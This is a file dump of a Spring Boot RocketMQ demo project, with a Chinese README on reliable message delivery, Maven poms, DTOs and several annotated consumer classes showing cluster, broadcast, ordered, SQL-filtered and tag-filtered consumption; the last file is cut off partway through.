    "path": "jun_springboot_plugin/springboot_mq_rocketmq/README.md",
    "content": "# RocketMQ\n\n## 1 如何保障消息可靠生产(消息100%投递成功)\n\n官网描述，参考最佳实践：https://github.com/apache/rocketmq/blob/master/docs/cn/best_practice.md\n\n#### 3 日志的打印\n\n消息发送成功或者失败要打印消息日志，务必要打印SendResult和key字段。**send消息方法只要不抛异常，就代表发送成功**。发送成功会有多个状态，在sendResult里定义。以下对每个状态进行说明：\n\n- **SEND_OK**\n\n消息发送成功。要注意的是消息发送成功也不意味着它是可靠的。要确保不会丢失任何消息，还应启用**同步Master服务器或同步刷盘，即SYNC_MASTER或SYNC_FLUSH。**\n\n- **FLUSH_DISK_TIMEOUT**\n\n消息发送成功但是服务器刷盘超时。此时消息已经进入服务器队列（内存），只有服务器宕机，消息才会丢失。消息存储配置参数中可以设置刷盘方式和同步刷盘时间长度，如果Broker服务器设置了刷盘方式为同步刷盘，即FlushDiskType=SYNC_FLUSH（默认为异步刷盘方式），当Broker服务器未在同步刷盘时间内（默认为5s）完成刷盘，则将返回该状态——刷盘超时。\n\n- **FLUSH_SLAVE_TIMEOUT**\n\n消息发送成功，但是服务器同步到Slave时超时。此时消息已经进入服务器队列，只有服务器宕机，消息才会丢失。如果Broker服务器的角色是同步Master，即SYNC_MASTER（默认是异步Master即ASYNC_MASTER），并且从Broker服务器未在同步刷盘时间（默认为5秒）内完成与主服务器的同步，则将返回该状态——数据同步到Slave服务器超时。\n\n- **SLAVE_NOT_AVAILABLE**\n\n消息发送成功，但是此时Slave不可用。如果Broker服务器的角色是同步Master，即SYNC_MASTER（默认是异步Master服务器即ASYNC_MASTER），但没有配置slave Broker服务器，则将返回该状态——无Slave服务器可用。\n\n**小结：**\n\n**只要sendResult为SEND_OK状态，且同步Master服务器或同步刷盘，就可确认成功。**\n\n\n\n## 2 消息可靠消费\n\n相对RabbitMQ，RocketMQ的可靠消费并不需要我们做过多的处理。会自动把消费失败的消息扔到死信队列中。只需要做好消息预警即可。\n\n[Consumer示例](spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerCluster.java)\n\n\n\n\n\n## 3: 参考资料\n\n官方中文文档：https://github.com/apache/rocketmq/tree/master/docs/cn"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_mq_rocketmq</artifactId>\n\t<version>1.0</version>\n\t\n\t<modelVersion>4.0.0</modelVersion>\n\t<parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.1.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n    </properties>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>spring-boot-demo</artifactId>\n        <groupId>com.example</groupId>\n        <version>1.0-SNAPSHOT</version>\n        <relativePath>../../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-rocketmq</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n    </properties>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>rocketmq-consumer</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- rocketMQ -->\n        <dependency>\n            <groupId>org.apache.rocketmq</groupId>\n            <artifactId>rocketmq-spring-boot-starter</artifactId>\n            <version>2.1.1</version>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/RocketMQConsumerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 17:10\n */\n@SpringBootApplication\npublic class RocketMQConsumerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RocketMQConsumerApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/dto/BatchDto.java",
    "content": "package com.example.dto;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * 批量消息实体\n * </p>\n *\n * @author MrWen\n **/\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class BatchDto implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    private Integer id;\n\n    private String message;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/dto/OrderPaidEvent.java",
    "content": "package com.example.dto;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\nimport java.math.BigDecimal;\n\n/**\n * <p>\n * 订单支付事件\n * </p>\n *\n * @author MrWen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class OrderPaidEvent implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    private String orderId;\n\n    private BigDecimal paidMoney;\n\n    private String msg;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/dto/OrderStep.java",
    "content": "package com.example.dto;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * <p>\n * 顺序的步骤\n * </p>\n *\n * @author MrWen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class OrderStep {\n    private long orderId;\n    private String desc;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/Consumer.java",
    "content": "package com.example.service;\n\nimport com.example.dto.OrderPaidEvent;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.ConsumeMode;\nimport org.apache.rocketmq.spring.annotation.MessageModel;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.annotation.SelectorType;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\n\n/**\n * <p>\n * 测试\n * </p>\n *\n * @author MrWen\n */\n@Slf4j\n//@Component\n@RocketMQMessageListener(topic = \"synchronously\",//主题\n        consumerGroup = \"synchronously_group\",//消费组  唯一\n        /* 下面都有默认值,可选  */\n        selectorType = SelectorType.TAG,//过滤选项类型 默认TAG 还有 SQL92\n        selectorExpression = \"*\",//过滤选项 默认*    Tag多个时，\"tag1 || tag2 || tag3\"\n        consumeMode = ConsumeMode.CONCURRENTLY,//消费类型  默认CONCURRENTLY同步  还有有序 ORDERLY 一个队列一个线程\n        messageModel = MessageModel.CLUSTERING, //消费模式 默认CLUSTERING集群  还有 广播CLUSTERING（接收所有信息）\n        consumeThreadMax = 64,//最大线程数，默认64\n        consumeTimeout = 15L//超时时间，以分钟为单位，默认15L\n)\npublic class Consumer implements RocketMQListener<OrderPaidEvent>, RocketMQPushConsumerLifecycleListener {\n\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(OrderPaidEvent message) {\n        log.info(\"Receive message: {}  ThreadName: {}\", message, Thread.currentThread().getName());\n    }\n\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerBatch.java",
    "content": "package com.example.service;\n\nimport com.example.dto.BatchDto;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * 批量消息消费\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_Batch\",//主题\n        consumerGroup = \"Consumer_Batch_group\"//消费组  唯一\n)\npublic class ConsumerBatch implements RocketMQListener<BatchDto>, RocketMQPushConsumerLifecycleListener {\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(BatchDto message) {\n        log.info(\"ConsumerCluster 批量消息消费    message: {}  \", message);\n    }\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerBroadcast.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.spring.annotation.MessageModel;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 广播模式消费，每个消费者消费的消息都是相同的\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_Broadcast\",//主题\n        consumerGroup = \"Consumer_Broadcast_group\",//消费组  唯一\n        messageModel = MessageModel.BROADCASTING //消费模式 默认CLUSTERING集群  BROADCASTING:广播（接收所有信息）\n)\npublic class ConsumerBroadcast implements RocketMQListener<String> {\n\n    //todo 广播消费模式宽带消费仍然确保消息至少被消费一次，但是没有提供重发选项。\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(String message) {\n        try {\n            //模拟业务逻辑处理中...\n            log.info(\"ConsumerBroadcast  广播模式消费 message: {}  \", message);\n            TimeUnit.SECONDS.sleep(10);\n            //模拟出错，触发重试\n//            int i = 1 / 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerCluster.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.MessageModel;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 集群模式消费,负载均衡模式消费（最常用！！！）\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_Cluster\",//主题\n        consumerGroup = \"Consumer_Cluster_group\",//消费组  唯一\n        messageModel = MessageModel.CLUSTERING //消费模式 默认CLUSTERING集群  BROADCASTING:广播（接收所有信息）\n)\npublic class ConsumerCluster implements RocketMQListener<String>, RocketMQPushConsumerLifecycleListener {\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(String message) {\n        try {\n            //模拟业务逻辑处理中...\n            log.info(\"ConsumerCluster 集群模式消费 message: {}  \", message);\n            TimeUnit.SECONDS.sleep(10);\n            //模拟出错，触发重试\n//            int i = 1 / 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerInOrder.java",
    "content": "package com.example.service;\n\nimport com.example.dto.OrderStep;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.ConsumeMode;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * 顺序消息消费-分区有序\n * </p>\n *\n * @author MrWen\n */\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_InOrder\",//主题\n        consumerGroup = \"Consumer_InOrder_group\",//消费组\n        consumeMode = ConsumeMode.ORDERLY//消费类型  ORDERLY 一个队列一个线程，即分区有序\n)\npublic class ConsumerInOrder implements RocketMQListener<OrderStep>, RocketMQPushConsumerLifecycleListener {\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param msg\n     */\n    @Override\n    public void onMessage(OrderStep msg) {\n        log.info(\"Receive message: {}  ThreadName: {}\", msg, Thread.currentThread().getName());\n        //模拟出错，触发重试\n//        int i = 1 / 0;\n    }\n\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //程序报错，顺序消息这里不会等待重试，会立即执行。不设最大重试次数，会一直不断重试执行。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerSQL.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.annotation.SelectorType;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 过滤消息消费，SQL92模式\n * 需要配置RocketMQ服务器  vim conf/broker.conf  ##支持sql语句过滤  enablePropertyFilter=true\n * 在console控制台查看集群状态  enablePropertyFilter=true 才正常\n * </p>\n * <p>\n * <p>\n * 数值比较，比如：>，>=，<，<=，BETWEEN，=；\n * 字符比较，比如：=，<>，IN；\n * IS NULL 或者 IS NOT NULL；\n * 逻辑符号 AND，OR，NOT；\n * <p>\n * 常量支持类型为：\n * <p>\n * 数值，比如：123，3.1415；\n * 字符，比如：'abc'，必须用单引号包裹起来；\n * NULL，特殊的常量\n * 布尔值，TRUE 或 FALSE\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_SQL\",//主题\n        consumerGroup = \"Consumer_SQL_group\",//消费组  唯一\n        /* 下面都有默认值,可选  */\n        selectorType = SelectorType.SQL92,//过滤选项类型 默认TAG 还有 SQL92，Brro\n        selectorExpression = \"a between 0 and 3 or b='sql'\"\n)\npublic class ConsumerSQL implements RocketMQListener<String>, RocketMQPushConsumerLifecycleListener {\n\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(String message) {\n        try {\n            //模拟业务逻辑处理中...\n            log.info(\"ConsumerSQL 消费 message: {}  \", message);\n            TimeUnit.SECONDS.sleep(10);\n            //模拟出错，触发重试\n//            int i = 1 / 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerTag1.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.annotation.SelectorType;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 过滤消息消费，Tag模式\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_Tag\",//主题\n        consumerGroup = \"Consumer_Tag1_group\",//消费组  唯一\n        selectorType = SelectorType.TAG,//过滤选项类型 默认TAG\n        selectorExpression = \"tag1\"//过滤选项 默认*    Tag多个时，\"tag1 || tag2 || tag3\"\n)\npublic class ConsumerTag1 implements RocketMQListener<String>, RocketMQPushConsumerLifecycleListener {\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(String message) {\n        try {\n            //模拟业务逻辑处理中...\n            log.info(\"ConsumerTag1 消费 message: {}  \", message);\n            TimeUnit.SECONDS.sleep(10);\n            //模拟出错，触发重试\n//            int i = 1 / 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerTag2.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.annotation.SelectorType;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 过滤消息消费，Tag模式\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_Tag\",//主题\n        consumerGroup = \"Consumer_Tag2_group\",//消费组  唯一\n        selectorType = SelectorType.TAG,//过滤选项类型 默认TAG\n        selectorExpression = \"tag1||tag2\"//过滤选项 默认*    Tag多个时，\"tag1 || tag2 || tag3\"\n)\npublic class ConsumerTag2 implements RocketMQListener<String>, RocketMQPushConsumerLifecycleListener {\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param message 接收的消息\n     */\n    @Override\n    public void onMessage(String message) {\n        try {\n            //模拟业务逻辑处理中...\n            log.info(\"ConsumerTag2 消费 message: {}  \", message);\n            TimeUnit.SECONDS.sleep(10);\n            